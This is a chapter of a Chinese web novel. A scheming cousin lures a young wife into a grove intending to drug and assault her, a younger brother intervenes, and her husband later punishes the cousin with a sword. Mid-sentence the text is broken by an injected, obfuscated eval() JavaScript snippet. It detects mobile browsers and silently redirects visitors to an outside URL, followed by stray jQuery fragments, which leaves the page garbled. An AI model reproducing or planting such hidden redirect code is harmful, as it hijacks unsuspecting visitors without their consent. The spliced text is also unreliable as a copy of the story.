姜照影从公主府回谢府后径自回了晚香院,她一进屋,便将发上的玉簪拿了下来,然后放进妆奁盒中用小锁锁起来。
春夏不解道:“少夫人不是很喜欢这个玉簪吗,为何要锁起来,不戴了?”
姜照影摇了摇头,没有回答,而是抬头看向有些阴沉的天空,对春夏道:“你去前院打听打听,大人今晚回不回?”
春夏依言去了前院。她前脚刚离开晚香院,后脚便有一个丫鬟站在院门口,探头探脑朝里看。
姜照影不认识她,问她:“你是谁,来我这院中作何?”
不防自己被发现,那丫鬟面露怯色,支支吾吾道:“奴婢是大夫人房中新来的丫鬟,大夫人让少夫人去听沁院,她有事寻您。”
姜照影听后,未做多想,随这丫鬟去了。
因安氏不喜姜照影,当初她刚嫁来谢家时,安氏便将府中最北边的院子给了她,而安氏的听沁院在最南边,两院相隔甚远,也是婆媳离心之意。
从晚香院到听沁院,要经过一方池塘,还有倚霞堂和二房三房的院落,过后还有经过一片桃林,而桃林后是谢家祠堂,如此需得走两盏茶的功夫才能到。
这还是抄得近道,若绕行,恐怕需要的时间更久。
而眼前的丫鬟便是带着她绕行,姜照影疑惑道:“你这是要带我去哪里?”
她说着抬眼看向四周,发现自己竟不知不觉被带到了三房院外的桃林。
“你不是婆母房中的人,你是谁?”姜照影后知后觉道。
不待丫鬟回答,她身后传来另一个声音。
“嫂嫂,要见你一面当真不容易啊。”
只听声音,姜照影便知是何人,她没有回头,亦没有说话,而是面无表情往桃林外走。
眼下四周无人,若和谢沐正面争执,吃亏的只会是她。
可谢沐既将她骗来,就没有任由她离开的道理。
他拦下姜照影的去路,道:“嫂嫂,你别急着走啊,我还有东西要给你了。”
他说完,叫走了方才的丫鬟。
姜照影不去看他,目视前方道:“我和你没有关系,也不需要你的东西,让开,我还有事。”
谢沐是个泼皮无赖,姜照影越是如此,他越是心痒难耐,作势要抱上去,好在姜照影往后退了一步,叫他落了空。
“你再这般我便喊人来了。”
看着姜照影恼怒的模样,谢沐只觉周身血脉喷张,他见过的美人无数,唯独对姜照影过目不忘。
从前因着谢澜的关系,他对姜照影只敢言语上轻薄几句,并不敢对她怎么样。
直到昨日,他偷听到安氏和谢澜的话,他才得知,原来谢澜娶姜照影只是可怜她,并不是真心喜欢她,还说日后遇到合适的人,会让姜照影另嫁。
如此,谢沐便觉自己的机会来了。
合适的人?怎样才算合适的人?
他占了她的身子,她便是他的人了,到那时,饶是谢澜再看不上他,也不得不将姜照影嫁给他。
而一个丢了清白的女郎,又有谁会要了,她不想嫁给他也不行。
谢沐惯会做这些见不得光的事,是以当晚,他便筹划好一切。
他找来新进府的丫鬟,让她假冒安氏房中的人,让她将姜照影骗来桃林,然后他再将人迷晕,就近带到自己房中,待事成之后,他便找谢澜提亲。
谢沐朝她靠近,冷笑道:“你喊啊,只管大声喊好了,看到时候,旁人会如何说。”
“他们只会说你勾|引我,而非我对你图谋不轨……”
不想,他话音刚落,一个拳头便重重落在他脸上。
*
“大人,若清河县令再不说是谁指使他行贪污受贿的,他的家人,恐怕保不住了。”
听了林启的话,谢澜眼眸深了深,过了半晌才开口道:“他会说的,再等等。”
这时,不远处传来几人的声音,林启屏息细听,道:“大人,是少夫人……”
“好你个庶子,竟敢打我,看我不拔了你的皮。”谢沐上前揪扯住谢沛的衣领,挥手朝他脸上就上一拳。
谢沛生得瘦弱,挨了谢沐一拳,顿时口鼻出血,躺在地上毫无还手之力。
谢沐是二房嫡子,自幼娇生惯养,何时被人打过,还是被这谢沛这身份低贱的庶子所打,他自然不会善罢甘休。
他捡起一旁的枯树枝,就要去打谢沛,被姜照影抬手拦下,霎时几道红痕出现在她纤细的手臂上,谢沛趁机起身,撞开谢沐,拉着姜照影往桃林外跑。
二人跑得急,姜照影不小心撞到一个人,她抬眼看去,发现竟是谢澜。
他身着绯红官服,双手负在背后,正蹙眉看着她。
谢沛见姜照影停下脚步,便也停下来。
正待他问姜照影为何停下时,转头便看到谢澜,而谢澜仿佛没看到他般,一直垂眼望着姜照影,姜照影则低首不语。
被撞得险些跌倒的谢沐站稳后,便追了出来,眼见是谢澜,他心生一计,上前道:“兄长,你可不能放他们走,他们方才在桃林中行不轨之事,被我发现了,竟还打伤了我,简直不知羞耻,这样的人就该浸猪笼。”
谢沐是吃定谢澜不在乎姜照影,他才敢这般说的。
若是谢澜在乎姜照影,以谢澜的性子,他是不会允许别人污蔑姜照影的。
谢沛唯恐姜照影清白受损,立刻解释道:“兄长,你别听他胡说,我和嫂嫂之间是清白的,想要对嫂嫂图谋不轨的人是他。
谢沛说完,一直盯看着姜照影的视线,终于看向了他,谢澜眸光疏冷淡漠,却又透着令人胆寒的深邃。
“那你倒是说说,你为何在这里?又为何知道嫂嫂在这里?”
谢沐知道,眼下的事无论如何也是说不清的,唯有将水搅浑,叫大家都有错,谢沛才奈何不了他。
况且谢沛只是一个庶子,又怎能斗得过他,这般想着,谢沐倒是得意了几分。
谢沛听谢沐这般问,不觉心虚了几分。
昨晚,他无意间听到谢沐的计谋,知他对姜照影图谋不轨,是以,为了保护姜照影,自她从公主府回来后,他便一直偷偷跟着她。
可这事,他若直说,只会更让谢澜怀疑他和姜照影之间有些什么。
但不说,那桃林中的事也解释不清了。
谢沐见谢沛不答,正要继续拱火时,只听许久不曾开口的姜照影,突然道:“大人相信我吗?”
姜照影抬眼看着谢澜,眸中似乎蓄着复杂的情绪。
谢澜视线下移,落在姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780030|190366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照影手腕处,只见谢沛的手紧握着姜照影不曾松开。
他冷声道:“你要我如何相信你和他之间没什么?”
谢沛后知后觉松开了手。
“这么说大人是不相信我了?”姜照影说着,眼尾泛红。
谢澜看着她强忍的模样,握紧负在背后的手,面上却似不在乎般道:“旁人的事,我没有兴趣知道。”
“不过,府中若还有这种事发生,我定不会轻饶。”
他说完,叫谢沐同他一起离开了。
*
姜照影看着谢澜的背影消失在游廊深处,才收回视线,她拿出锦帕,替谢沛擦拭嘴角的血迹。
谢沛不好意思接过锦帕自己擦拭。
“不好意思,连累你受伤了。”姜照影歉然道:“以后他在欺负你,你该怎么办呢?”
谢沛满不在意笑道:“无妨的,我自幼时便是这么过来的,他欺负我,又不是这一日,嫂嫂不必太介怀。”
“可……”
姜照影还想再说什么,谢沛打断她道:“嫂嫂,你快回去吧,若让旁人看到我们,又少不了在背后说闲话了。”
姜照影只得点头离开。
谢沐随谢澜去了他的书房,以为谢澜叫他前来,是有什么好事安排他去做。
谢澜是长房长子,且身居高位,整个谢家在内是谢老夫人和安氏在管,在外则是谢澜在打理。
谢沐生性惫懒,不学无术,为人蠢笨,自十五岁时备考至今,连个秀才也未中,宋氏为此操心不已,多少次求来谢澜跟前,想让谢澜替他在朝中谋个闲职,却都被谢澜拒绝了。
谢沐盘算着,谢澜这是回心转意了。
不想,谢澜却是令他跪下,冷冽的言语,让他不敢犹豫片刻。
他跪在谢澜跟前,问他:“兄长这是何意,我可有哪里得罪过兄长?”
谢澜起身,从案几后走来,斑驳夕阳洒落在他俊美无俦的脸上。
分明是柔和的光,谢沐却从谢澜面上看到了杀意。
只听谢澜冷冷道:“是哪只手打得她?”
起初谢沐以为谢澜问的是他用哪只手打得谢沛。
是以,他一脸不在乎道:“一个庶子而已,兄长何故……”
可随着谢澜眸光变得越发冷沉,他才意识到谢澜问的是姜照影。
“兄长……你不是不喜欢她的吗?为何……”
谢澜早已失去了耐性,他抽出一旁林启腰间的佩剑,抵在他脖颈处,问他:“我再问一遍,你到底是哪只手伤的她?”
看着谢澜腥红的双眸,谢沐不敢再多说旁的,他颤着嗓子道:“右边……右手。”
下一刻,长剑便贯穿了他右掌掌心,霎时鲜血淋漓。
“若还有下次,我便要了你的命。”
谢澜的声音犹如鬼魅,吓得谢沐连滚带爬逃出了他的书房。
看着谢沐离开的背影,林启道:“大人此举,让老夫人知道了……”
谢澜对他的话却是置若罔闻,而是叫来小厮,对他道:“你把这膏药送到晚香院,但切记不要说是我送的。”
小厮道:“那我该说是谁送的?”
看着小厮一脸不解的样子,谢澜收回药膏,对他道:“你下去吧,这里没你的事了。”